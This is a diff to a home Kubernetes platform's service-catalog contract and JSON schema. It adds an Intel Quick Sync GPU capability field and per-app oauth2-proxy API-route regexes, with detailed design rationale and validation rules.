 | `inClusterClients` | `[]` → no direct east-west client; only the Gateway may reach an exposed port | R-NET-01/02 |
 | `auth.mode` | `forward-auth` for any exposed UI | R-IDP-02 |
+| `auth.apiRoutes` | `[]` → the sidecar renders **no** `--api-route`; every unauthenticated request is 302'd to Keycloak | R-IDP-02 |
 | `update.channel` | `stable` | R-UPD-01 |
 | `update.autoRollbackOnFailedHealth` | `true` | R-UPD-03 |
 | `observability.metrics` | `true` | R-OBS-01 |
@@ -160,6 +161,64 @@ platform must render, and cites the requirement each mapping satisfies. Changing
 - **Requirements:** **R-STATE-01** (rebuild survival), **R-STATE-02** (Longhorn replication),
   **R-STATE-04** (bulk tier). (docs/04)
 
+### `hardware` (`gpu`) — host device capability
+- **The field is INTENT, never MECHANISM.** `hardware.gpu` is an **enum of capability classes**
+  (today: `intel-quicksync`), not a device path, not a hostPath, not a resource request. The
+  ServiceDefinition says *what class of host device this workload needs*; how the platform hands it
+  over is `catalog/render.py`'s business and lives nowhere else. **Do not "simplify" this into a raw
+  `/dev/...` path.** The entire payoff is that migrating from the hostPath mechanism below to the
+  Intel GPU device plugin (`resources.limits: gpu.intel.com/i915`) is a renderer change with **zero**
+  catalog edits and zero re-review of per-service device wiring. Extend the enum for a genuinely
+  different capability class (e.g. `nvidia-nvenc`); never to name a second route to the same one.
+- `gpu: intel-quicksync` → on the **app container only** (never a sidecar), exactly two things:
+  1. a **hostPath volume** `dri` → `/dev/dri`, **`type: DirectoryOrCreate`**;
+  2. a **read-write volumeMount** of `dri` at `/dev/dri` on the app container (VA-API opens the
+     render node read-write, so it is deliberately not `readOnly`).
+
+  **Mounting the device is sufficient. That is the whole mapping.**
+- **`podSecurityContext.supplementalGroups` is deliberately NOT rendered, and adding it would be a
+  regression rather than a hardening.** `/dev/dri/renderD128` is `root:render` `0660`, so the obvious
+  move is to push the host `render` GID in — and it does not work. **Measured in the running
+  container on prod-2, 2026-09-30:** the image's own
+  `/etc/cont-init.d/45-plex-hw-transcode-and-connected-tuner` hook `find`s every char device under
+  `/dev/dri`, `stat -c '%g'` each one's GID, `groupadd`s a matching group *inside the container* when
+  none exists, and `usermod -a -G` the app user into it — every start, nothing hardcoded.
+  `cont-init.d` completes before `services.d`, so the account database is already correct when the
+  service execs. The service then starts via `exec s6-setuidgid plex …`, and `s6-setuidgid`
+  **replaces** the process group list from `/etc/group` rather than appending to it:
+  `Plex Media Server` runs as `Uid: 1000  Gid: 1000  Groups: 100 1000`, with root's gid `0` — which
+  PID 1 (`s6-svscan`) does hold — **gone**. A Kubernetes `supplementalGroups` therefore reaches
+  `s6-svscan` and is discarded before the app ever starts. It would be inert *and* it would mislead
+  whoever debugs this next. The renderer asserts its own absence in `render.py --selftest`.
+  - A corollary worth having: because the hook re-`stat`s the device on every start, the host GID
+    **drifting** (a node rebuild renumbering the *systemd dynamic* `render` group) is self-healing.
+    No GID is pinned anywhere in this repo.
+  - **Scope of that measurement, stated so nobody over-reads it.** "Mounting the device is
+    sufficient" was established for an image that resolves the device group itself. A FUTURE
+    consumer that runs non-root and has no equivalent init hook would still need the group solved
+    somehow — and the answer for that case is a **renderer** change (per-image handling, or the
+    device plugin), not a new ServiceDefinition field. The enum is what keeps that option open. The
+    first such consumer must re-measure rather than assume this bullet covers it.
+- **`DirectoryOrCreate` is load-bearing — do not tighten it to `Directory`.** A node that comes back
+  without the render device (rebuild, BIOS change, driver regression, hardware swap) must degrade the
+  workload to **software transcoding**, not fail the mount. `apps-wave-0` is `wait: true` and
+  `apps-wave-1` `dependsOn` it, so a failed hostPath mount stalls the **whole app tier** for the sake
+  of a feature that is not load-bearing. `/dev` is tmpfs, so the empty directory the kubelet creates
+  on such a node leaves nothing durable behind.
+  - **The cost of that choice, stated plainly:** a missing device is **silent**. The workload
+    software-transcodes and nothing reports it. There is no metric to alert on — media apps here
+    render no `metricsEndpoint`, so no ServiceMonitor exists — and an alert that cannot fire is worse
+    than none (see §`observability`'s 2026-09-13 correction). The only proof of hardware transcode is
+    an operator observing it in the application's own dashboard.
+- **Deliberately NOT rendered** from this field: no `privileged: true` (Kyverno
+  `restrict-host-namespaces` is Enforce on app namespaces and would reject it, and the render node
+  does not need it); no `nodeSelector` (placement is a separate concern with its own justification —
+  this field is about the device, not about where the pod lands); no resource requests/limits (there
+  is no app-container resource render path, and inventing one here would be scope creep).
+- Absent ⇒ **nothing at all** is rendered; every service that does not opt in stays byte-identical.
+  Ignored for `kind: vm` — a VM receives devices through KubeVirt's own `domain.devices`.
+- **Requirements:** **R-PLAT-02** (the PaaS provides the host capability; the app declares need).
+
 ### `ingressRoutes[]` (`host` / `port`) — HTTPRoute + Certificate + DNS
 - Each entry renders an **HTTPRoute** attaching `host` → the service `port` on the shared Gateway.
 - TLS: the Gateway terminates with the cert-manager **wildcard `*.home.keithjackson.dev`** certificate
@@ -202,7 +261,7 @@ platform must render, and cites the requirement each mapping satisfies. Changing
   undeclared), **R-GITOPS-02** (the allowance is authored in the one reviewable object rather than
   surviving as a live-applied cluster object). Auditable via Hubble (R-SEC-03, R-OBS-04).
 
-### `auth` (`mode` / `groups[]`) — identity integration (Keycloak / oauth2-proxy)
+### `auth` (`mode` / `groups[]` / `apiRoutes[]`) — identity integration (Keycloak / oauth2-proxy)
 - `oidc` → register the app as a **Keycloak OIDC client** (declarative realm/client config, GitOps;
   client secret SOPS-encrypted). App does its own login redirect.
 - `forward-auth` → protect the service's `ingressRoutes` at the **Gateway** with **oauth2-proxy →
@@ -213,6 +272,20 @@ platform must render, and cites the requirement each mapping satisfies. Changing
 - `groups[]` → the Keycloak groups permitted access, enforced by the OIDC client mappers /
   oauth2-proxy `allowed_groups`. **Schema requires ≥1 group for `oidc`/`forward-auth`** — access is
   "in an authorized group," not merely "logged in."
+- `apiRoutes[]` (**`forward-auth` only**) → one repeatable **`--api-route=<regex>`** per entry on
+  the per-app oauth2-proxy sidecar, making matching paths answer **401** instead of a **302** to
+  Keycloak. Default `[]` renders **no flag at all**, which is the common case. It exists because
+  oauth2-proxy's built-in AJAX guard fires only on an exact `Accept: application/json`, which
+  these apps' JavaScript does not consistently send: the XHR is 302'd, the browser follows it
+  invisibly, the live SSO session satisfies it silently, and the call resolves 200 carrying the
+  app's **HTML** where the JavaScript expected JSON — and a POST following a 302 is re-issued as
+  a GET with its **body dropped**. It is **per-service and must never become a renderer
+  constant**: the path shape belongs to the app (radarr `/signalr/`, jackett `/api/`, pihole
+  none), and a wrong constant does not merely fail to help — a path a **browser navigates to**,
+  answered 401, shows a logged-out operator a bare error page and never offers a sign-in. Each
+  entry must be **anchored at `^/`** and continue with literal path characters; `^/`, `^/.*`,
+  `.*`, an unanchored `/api/` and any alternation are **rejected** by the schema and by the
+  renderer (alternation is refused rather than supported because the flag is repeatable).
 - Keycloak, oauth2-proxy, and app→Keycloak / proxy→Keycloak / Keycloak→DB flows are ordinary
   workloads under default-deny with explicit allows (ties back to `dependencies`).
 - **Requirements:** **R-IDP-02** (protect OIDC-capable and bare UIs), **R-IDP-06** (group-based
@@ -271,6 +344,12 @@ platform must render, and cites the requirement each mapping satisfies. Changing
 ## Cross-field invariants the renderer / L0-L1 tests rely on
 1. **kind ↔ source:** container⇒`image`, vm⇒`vmTemplate` (schema-enforced).
 2. **auth ↔ groups:** `oidc`/`forward-auth` ⇒ non-empty `groups` (schema-enforced; R-IDP-06).
+2a. **auth ↔ apiRoutes:** a non-empty `auth.apiRoutes` ⇒ `auth.mode: forward-auth`
+   (schema-enforced). It renders onto the per-app oauth2-proxy sidecar, and no sidecar exists for
+   `oidc`/`native`/`none`, so declaring it elsewhere would be a **silent no-op** — the operator
+   believes the app's XHRs now answer 401 and nothing changed. Every entry must be anchored at
+   `^/` (schema-enforced **and** enforced in `catalog/render.py`, so a breadth mistake is caught by
+   `render-golden` even on a run where the schema stage did not execute).
 3. **default-deny is unconditional:** every namespace gets the deny baseline regardless of
    `dependencies`; `dependencies` only *adds* allows (R-NET-01/02). The same holds for
    `inClusterClients`: it adds one namespace+port ingress allow and never relaxes the baseline.
@@ -286,6 +365,11 @@ platform must render, and cites the requirement each mapping satisfies. Changing
    `external-dns.alpha.kubernetes.io/controller: none`, and no `public` service's route carries it.
    Derived from `exposure` alone; enforced on every gate run by
    `conformance/tests/l0-static/internal-services-publish-no-public-dns` (R-DNS-03).
+8. **`hardware` is inert until opted into, and its mechanism is renderer-local.** An SD with no
+   `hardware` key renders no volume and no volumeMount; an SD *with* it gains no `securityContext`
+   either. Both directions are proven by `render.py --selftest`. The `/dev/dri` hostPath and the
+   `DirectoryOrCreate` type appear in `catalog/render.py` and nowhere else, so the capability's
+   implementation can be replaced without touching a single ServiceDefinition.
 
 ## Requirement traceability (contract-level)
 Primary **R-GITOPS-02** (single reviewable object wires every requirement). Field-level: R-NET-01/02

schemas/servicedefinition.schema.json

@@ -2,7 +2,7 @@
   "$schema": "https://json-schema.org/draft/2020-12/schema",
   "$id": "https://home.keithjackson.dev/schemas/servicedefinition.schema.json",
   "title": "ServiceDefinition",
-  "description": "Operator-facing onboarding contract for the home k3s + Longhorn platform. One ServiceDefinition per file under catalog/. Captures INTENT; the platform compiles it into concrete resources (see schemas/renderer-contract.md). Canonical source of truth: spec docs/13-service-catalog.md. Serves R-GITOPS-02; ties into R-NET-*, R-STATE-*, R-TLS-*, R-DNS-*, R-OBS-*, R-UPD-*, R-IDP-*. Schema version: 1.7.0 (no field changes; a MAPPING change to `exposure`, which had never had an effect on DNS. `exposure: internal` now renders ExternalDNS's own controller annotation onto every HTTPRoute it emits, set to a value other than `dns-controller`, so external-dns (v0.21.0, source/gateway.go -> annotations.IsControllerMismatch) skips the route before resolving any hostname and the service is INCAPABLE of producing a public record. Both docs/09 R-DNS-03 and schemas/renderer-contract.md already said `internal` renders no public DNS record; nothing enforced it, and six internal services -- jackett, pihole, qbittorrent, radarr, semaphore, sonarr -- were publishing `<name>.home.keithjackson.dev` into the PUBLIC Cloudflare zone answering with the RFC1918 Gateway VIP, which published the internal subnet and a full service inventory and made each name a DNS-rebind primitive. Enforced on every gate run by conformance/tests/l0-static/internal-services-publish-no-public-dns). 1.6.0 (splits `observability.metrics` from WHERE metrics live: adds optional `metricsEndpoint` (port/name/path/interval) and optional `livenessWorkload` (kind/name). `metrics: true` previously rendered a ServiceMonitor hardcoded to a port named `metrics` that no rendered Service ever defined, so all twelve app monitors discovered ZERO targets and every `up{job=...}` SLI was structurally inert on prod; a monitor is now rendered only from a declared `metricsEndpoint`, which also renders the Service port and the monitoring-namespace ingress allow, and the `up` SLI is expressed against kube-state-metrics -- a signal that exists for every workload without a per-app exporter. `livenessWorkload` names the object whose readiness IS the service, for the case where the running workload is not the one this SD renders). 1.5.0 (adds optional `inClusterClients` — additional in-cluster clients, named by NAMESPACE, admitted to a declared port of this service DIRECTLY, bypassing the shared Gateway. `ingressRoutes` admits only the Gateway proxy identity and `dependencies` only links catalog services, so a PLATFORM controller dialling a Service ClusterIP had no authorable form at all; that gap is what deadlocked prod's GitOps when its GitRepository moved to the in-cluster Gitea Service. Renders one least-privilege ingress CiliumNetworkPolicy per entry — the named namespace and the declared port, nothing wider). 1.4.0 (makes the `bulk` tier REAL: a bulk storage entry now carries `export` (the absolute NFS export path on the ${BULK_NFS_SERVER} host) and renders a STATIC, pre-bound NFS PersistentVolume + PVC over data that already exists outside the cluster, plus optional `subPath` and `readOnly` on any entry. Resolves the OQ-2 bulk-backing stub for STATIC pre-existing datasets; dynamic bulk provisioning remains unimplemented and unneeded). 1.3.0 added optional pod-level podSecurityContext for the container kind — k8s PodSecurityContext emitted verbatim onto the pod spec; its fsGroup unblocks non-root images e.g. semaphore/UID-1001 writing a mounted Longhorn PVC). 1.2.0 added optional per-container env/envFrom/lifecycle for the container kind — k8s EnvVar/EnvFromSource/Lifecycle shapes emitted verbatim onto the app container; unblocks headless-install/DB-backed apps e.g. gitea/nextcloud/semaphore/unifi/minecraft. 1.1.0 added the shape invariant exposure:public => auth.mode!=none (docs/13 v1.1 / docs/15 / R-IDP-02).",
+  "description": "Operator-facing onboarding contract for the home k3s + Longhorn platform. One ServiceDefinition per file under catalog/. Captures INTENT; the platform compiles it into concrete resources (see schemas/renderer-contract.md). Canonical source of truth: spec docs/13-service-catalog.md. Serves R-GITOPS-02; ties into R-NET-*, R-STATE-*, R-TLS-*, R-DNS-*, R-OBS-*, R-UPD-*, R-IDP-*. Schema version: 1.9.0 (adds optional `auth.apiRoutes` -- a per-service list of anchored path regexes the forward-auth oauth2-proxy sidecar answers with 401 instead of a 302 to Keycloak, rendered as one repeatable `--api-route` per entry. The `auth` block stays `additionalProperties: false`; this is one named, documented key, not an opened door. Without it there was NO per-app override hook at all, so the only way to answer an app's XHRs with 401 was a renderer-wide constant -- and the path shape is a property of the app: jackett's is `/api/` (33 x 302 vs 2 x 401 measured 2026-09-30, 4 of 6 POSTs answered by the proxy and never reaching the app), radarr's is `/signalr/` (232 x 302 measured 2026-10-01, every one a POST from a left-open browser tab that is never re-prompted), and pihole serves no `/api/` at all. Each entry must be anchored at `^/` and continue with literal path characters, because a too-broad regex turns a plain page load into a 401 and the service looks permanently broken to a logged-out user. Enforced on every gate run by ci/l0.sh's schema stage over catalog/*.yaml, by catalog/render.py refusing to render an unanchored entry, and by conformance/tests/l0-static/oauth2-proxy-api-routes-per-app)). 1.8.0 (adds optional `hardware` - a host HARDWARE CAPABILITY declaration for the container kind, currently one member: `hardware.gpu: intel-quicksync`, meaning the workload needs the host iGPU render device for hardware video transcode. It is an ENUM OF INTENT, not a device path: the renderer satisfies it today with just two things -- a /dev/dri hostPath volume (`DirectoryOrCreate`) and a read-write /dev/dri volumeMount on the app container -- and a later move to the Intel GPU device plugin is then a render.py change with no catalog edit. It sets NO podSecurityContext.supplementalGroups: measured in-container on prod 2026-09-30, the pms-docker cont-init hook adds the app user to the device's group inside the container and `s6-setuidgid` then REPLACES the process group list from /etc/group, discarding anything Kubernetes supplied, so such an entry would be inert and misleading. Renders NOTHING when absent, so every existing app stays byte-identical. Emits no privileged securityContext (Kyverno restrict-host-namespaces would reject it and it is not needed), no nodeSelector (node placement is a separate concern with its own justification) and no resource requests). 1.7.0 (no field changes; a MAPPING change to `exposure`, which had never had an effect on DNS. `exposure: internal` now renders ExternalDNS's own controller annotation onto every HTTPRoute it emits, set to a value other than `dns-controller`, so external-dns (v0.21.0, source/gateway.go -> annotations.IsControllerMismatch) skips the route before resolving any hostname and the service is INCAPABLE of producing a public record. Both docs/09 R-DNS-03 and schemas/renderer-contract.md already said `internal` renders no public DNS record; nothing enforced it, and six internal services -- jackett, pihole, qbittorrent, radarr, semaphore, sonarr -- were publishing `<name>.home.keithjackson.dev` into the PUBLIC Cloudflare zone answering with the RFC1918 Gateway VIP, which published the internal subnet and a full service inventory and made each name a DNS-rebind primitive. Enforced on every gate run by conformance/tests/l0-static/internal-services-publish-no-public-dns). 1.6.0 (splits `observability.metrics` from WHERE metrics live: adds optional `metricsEndpoint` (port/name/path/interval) and optional `livenessWorkload` (kind/name). `metrics: true` previously rendered a ServiceMonitor hardcoded to a port named `metrics` that no rendered Service ever defined, so all twelve app monitors discovered ZERO targets and every `up{job=...}` SLI was structurally inert on prod; a monitor is now rendered only from a declared `metricsEndpoint`, which also renders the Service port and the monitoring-namespace ingress allow, and the `up` SLI is expressed against kube-state-metrics -- a signal that exists for every workload without a per-app exporter. `livenessWorkload` names the object whose readiness IS the service, for the case where the running workload is not the one this SD renders). 1.5.0 (adds optional `inClusterClients` — additional in-cluster clients, named by NAMESPACE, admitted to a declared port of this service DIRECTLY, bypassing the shared Gateway. `ingressRoutes` admits only the Gateway proxy identity and `dependencies` only links catalog services, so a PLATFORM controller dialling a Service ClusterIP had no authorable form at all; that gap is what deadlocked proLine truncated
   "type": "object",
   "additionalProperties": false,
   "required": ["name", "source"],
@@ -139,6 +139,19 @@
         "supplementalGroups": { "type": "array", "items": { "type": "integer" }, "description": "Additional GIDs added to the first process in each container." }
       }
     },
+    "hardware": {
+      "type": "object",
+      "description": "Optional host HARDWARE CAPABILITY the workload needs, for the container kind (docs/13). This field declares INTENT (`what device class this service needs`), never MECHANISM (`which host path to bind-mount`, `which extended resource to request`). That separation is the whole point of the enum: the platform currently satisfies `intel-quicksync` with a /dev/dri hostPath volume and a matching mount on the app container, but a later migration to the Intel GPU device plugin (`gpu.intel.com/i915` resource requests, no hostPath) must be a catalog/render.py change and NOTHING else - no ServiceDefinition may need editing, and no reviewer may have to re-derive per-service device wiring. Do NOT 'simplify' this into a raw device path, a hostPath, or a resource request; that would push a platform implementation detail into the operator-facing contract and make the migration a catalog-wide edit. Absent => no device wiring at all (existing apps render byte-identical). Ignored for kind=vm (a VM gets devices through KubeVirt's own domain.devices).",
+      "additionalProperties": false,
+      "minProperties": 1,
+      "properties": {
+        "gpu": {
+          "type": "string",
+          "description": "GPU capability class this service needs. `intel-quicksync` = the host's Intel Quick Sync Video render device (the iGPU's /dev/dri/renderD* node) for hardware video transcode/decode. Enum, not a free-form device path, so the satisfying mechanism stays swappable (see the parent description). Extend the enum when a genuinely different capability class appears (e.g. nvidia-nvenc), never to name a different path to the same one.",
+          "enum": ["intel-quicksync"]
+        }
+      }
+    },
     "exposure": {
       "type": "string",
       "description": "internal = LAN-only (internal DNS + Gateway on LAN); public = additionally edge port-forwarded 80/443 (docs/09; R-DNS/R-NET).",
@@ -311,6 +324,16 @@
           "items": { "type": "string", "minLength": 1 },
           "uniqueItems": true,
           "default": []
+        },
+        "apiRoutes": {
+          "type": "array",
+          "description": "forward-auth ONLY: path regexes this app serves as a MACHINE API, which the oauth2-proxy sidecar must answer with 401 instead of a 302 to Keycloak (one --api-route per entry; the flag is repeatable and singular -- --api-routes does not exist in v7.8.1 and the proxy refuses to start with it). WHY THIS IS PER-APP AND NOT A RENDERER CONSTANT: oauth2-proxy's built-in AJAX guard fires only on an EXACT `Accept: application/json`, which these apps' JavaScript does not consistently send, so an unauthenticated XHR gets a 302 that the browser follows invisibly, the live Keycloak SSO session satisfies silently, and the call resolves 200 carrying the app's HTML where the JavaScript expected JSON -- no prompt, no error, and on a write it is worse, because a browser following a 302 re-issues a POST as a GET and DROPS THE BODY. Measured on jackett 2026-09-30: 33 x 302 against 2 x 401 on /api/ paths, with 4 of 6 POSTs answered by the proxy and never reaching the app (access-log upstream field `-`). Measured on radarr 2026-10-01, 23h after the cookie fix deployed: 232 x 302, ALL of them POST /signalr/messages/negotiate from the operator's own browser -- a left-open tab whose cookie the rename orphaned, polling forever, silently redirected every time and NEVER re-prompting. But the path shape is a property of the APP, not of the pattern: radarr's broken path is /signalr/ and jackett's is /api/, and pihole serves no /api/ at all, so a renderer-wide constant would apply one app's path shape to five. Declare only paths this app actually serves as JSON/RPC and that a browser never NAVIGATES to. BREADTH IS THE DANGER: too broad and a plain page load answers 401 instead of signing the operator in, i.e. the service looks permanently broken to a logged-out user and no sign-in is ever offered. The item pattern therefore REQUIRES each entry to be anchored at `^/` and to continue with literal path characters, which rejects `^/`, `^/.*`, `.*` and any unanchored or alternated regex; alternation is refused rather than supported because the flag is repeatable, so one regex per route costs nothing and keeps each entry readable. N/A for oidc/native/none (no sidecar is rendered).",
+          "items": {
+            "type": "string",
+            "pattern": "^\\^/[A-Za-z0-9._~/-]+(\\.\\*|\\$)?$"
+          },
+          "uniqueItems": true,
+          "default": []
         }
       }
     },
@@ -458,6 +481,26 @@
         }
       }
     },
+    {
+      "$comment": "auth.apiRoutes only has a consumer under forward-auth: it renders --api-route onto the per-app oauth2-proxy sidecar, and no sidecar is rendered for oidc/native/none. Declaring it elsewhere would be a SILENT NO-OP -- the operator believes the app's XHRs now answer 401 and nothing changed -- so it is rejected at the schema instead (R-IDP-02).",
+      "if": {
+        "required": ["auth"],
+        "properties": {
+          "auth": {
+            "required": ["apiRoutes"],
+            "properties": { "apiRoutes": { "minItems": 1 } }
+          }
+        }
+      },
+      "then": {
+        "properties": {
+          "auth": {
+            "required": ["mode"],
+            "properties": { "mode": { "const": "forward-auth" } }
+          }
+        }
+      }
+    },
     {
       "$comment": "public exposure must not be unauthenticated: an explicit auth.mode 'none' is disallowed on public services (docs/13 v1.1, docs/15, R-IDP-02). Absent auth defaults to forward-auth at render time, so it is permitted here.",
       "if": {